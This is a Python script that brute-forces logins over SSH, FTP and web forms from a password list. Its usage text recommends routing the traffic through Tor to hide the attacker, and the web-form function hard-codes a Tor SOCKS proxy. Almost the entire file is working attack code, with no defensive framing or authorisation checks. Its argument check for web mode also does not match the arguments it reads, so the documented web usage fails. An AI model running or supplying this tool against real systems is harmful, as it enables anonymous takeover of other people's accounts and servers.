brute_force.py

import paramiko
import socket
import sys
from ftplib import FTP, error_perm
import requests

def print_usage():
    usage = """
Brute Force Tool Usage:

python3 brute_force.py <protocol> [arguments]

Protocols and arguments:

  ssh <host> <port> <username> <password_list_file>
    Example: python3 brute_force.py ssh 192.168.1.10 22 root passwords.txt

  ftp <host> <port> <username> <password_list_file>
    Example: python3 brute_force.py ftp 192.168.1.20 21 admin passwords.txt

  web <url> <username_field> <password_field> <username> <password_list_file>
    Example: python3 brute_force.py web http://target.com/login username password admin passwords.txt

Options:
  --help    Show this help message and exit

Note:
- For SSH and FTP, to anonymize traffic through Tor, run with: 
  torsocks python3 brute_force.py <protocol> ...

- For web brute force, ensure Tor is running locally at 127.0.0.1:9050
"""
    print(usage)

def ssh_brute_force(host, port, username, password_list_file):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        with open(password_list_file, 'r') as file:
            passwords = file.read().splitlines()
    except FileNotFoundError:
        print(f"[!] Password list file '{password_list_file}' not found.")
        return
    
    print(f"[*] Starting SSH brute force against {host}:{port} for user '{username}'...")
    for password in passwords:
        try:
            ssh.connect(hostname=host, port=port, username=username, password=password, timeout=5)
            print(f"[+] SSH login success! Password: '{password}'")
            ssh.close()
            return
        except paramiko.AuthenticationException:
            print(f"[-] SSH auth failed: '{password}'")
        except paramiko.SSHException as e:
            print(f"[!] SSH error: {e}")
        except socket.timeout:
            print("[!] SSH connection timed out")
            break
        except Exception as e:
            print(f"[!] Unexpected SSH error: {e}")
    print("[!] SSH brute force finished. Password not found.")

def ftp_brute_force(host, port, username, password_list_file):
    try:
        with open(password_list_file, 'r') as file:
            passwords = file.read().splitlines()
    except FileNotFoundError:
        print(f"[!] Password list file '{password_list_file}' not found.")
        return
    
    print(f"[*] Starting FTP brute force against {host}:{port} for user '{username}'...")
    for password in passwords:
        try:
            ftp = FTP()
            ftp.connect(host, port, timeout=5)
            ftp.login(user=username, passwd=password)
            print(f"[+] FTP login success! Password: '{password}'")
            ftp.quit()
            return
        except error_perm:
            print(f"[-] FTP login failed: '{password}'")
        except Exception as e:
            print(f"[!] FTP error: {e}")
    print("[!] FTP brute force finished. Password not found.")

def web_form_brute_force(url, username_field, password_field, username, password_list_file):
    # Tor proxy config - ensure Tor is running locally (default SOCKS5 at 127.0.0.1:9050)
    proxies = {
        'http': 'socks5h://127.0.0.1:9050',
        'https': 'socks5h://127.0.0.1:9050',
    }

    try:
        with open(password_list_file, 'r') as file:
            passwords = file.read().splitlines()
    except FileNotFoundError:
        print(f"[!] Password list file '{password_list_file}' not found.")
        return
    
    print(f"[*] Starting web form brute force on {url} for user '{username}'...")
    for password in passwords:
        data = {
            username_field: username,
            password_field: password
            # Add other form data if required here
        }
        try:
            response = requests.post(url, data=data, proxies=proxies, timeout=10)
            # Customize this condition based on how the target site indicates login failure or success
            if "login failed" not in response.text.lower() and response.status_code == 200:
                print(f"[+] Web form login success! Password: '{password}'")
                return
            else:
                print(f"[-] Failed password: '{password}'")
        except requests.RequestException as e:
            print(f"[!] Request error: {e}")
            break
    print("[!] Web form brute force finished. Password not found.")

def main():
    if len(sys.argv) == 1 or sys.argv[1] == '--help':
        print_usage()
        sys.exit(0)

    protocol = sys.argv[1].lower()

    if protocol == 'ssh':
        if len(sys.argv) != 6:
            print("Usage: python3 brute_force.py ssh <host> <port> <username> <password_list_file>")
            sys.exit(1)
        ssh_brute_force(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5])

    elif protocol == 'ftp':
        if len(sys.argv) != 6:
            print("Usage: python3 brute_force.py ftp <host> <port> <username> <password_list_file>")
            sys.exit(1)
        ftp_brute_force(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5])

    elif protocol == 'web':
        if len(sys.argv) != 8:
            print("Usage: python3 brute_force.py web <url> <username_field> <password_field> <username> <password_list_file>")
            sys.exit(1)
        web_form_brute_force(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])

    else:
        print(f"Unsupported protocol '{protocol}'. Use ssh, ftp, or web.")

if __name__ == "__main__":
    main()